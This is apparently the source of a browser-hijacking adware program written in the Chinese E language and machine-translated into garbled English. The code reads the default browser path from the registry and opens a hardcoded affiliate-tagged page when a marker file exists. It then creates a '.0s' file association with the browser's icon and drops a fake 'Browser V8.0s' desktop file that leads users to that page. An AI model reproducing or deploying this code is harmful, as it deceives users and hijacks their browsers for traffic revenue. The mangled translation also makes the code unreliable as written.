.version 2
.support library eAPI .support
library spec .support
library shell
.assembly-window assembly_start-window
.Subroutine__Startup window_First activation.Local
variable temporary text, text type
. Local variable current browser name, text type
' temp text = get text registry key(1, "http\shell\open\command\", )
' temp text = get text left(temp text, reverse text(temp text, ".exe", , false) - 1)
'temporary text = temporary text + ".exe"
' current browser name = temporary text
' edit box 1. content = current browser name
' edit box 1. content = take the right side of the text (edit box 1. content, take Text Length (Edit Box 1. Content) - 1)
' MainPage = Text_Extract the middle text (Get the execution file name(), "Huo", "@", , )
' MainPage = Text_Replace(MainPage, , , , "-", "/", "_", "?", , , , )
MainPage = "www.2345.com/?kthisc"
. if true(file exists("C:\Huo_Lz.ini") = true)
_startwindow.visible=false
open the specified url ("http://" + MainPage)
delay(5000)
end()
return()
.if true
end_startwindow.visible=false
temptext=fetch text regItem(1, "http\shell\open\command\", )
temp text = take the left of the text (temp text, reverse text (temp text, ".exe", , false) - 1)
temp text = temp text + ".exe"
Current browser name = temporary text
edit box 1. content = current browser name
edit box 1. content = take the right side of the text (edit box 1. content, take text length (edit box 1. content) - 1)
MainBplace = edit box 1. Content' Get the default browser path to get the icon
file_association (get the running directory() + "\" + get the execution file name(), "0s", MainBplace, , ) and
write it to the file (get the specific directory ( #system desktop) + "Browser V8.0s", to byte set(1))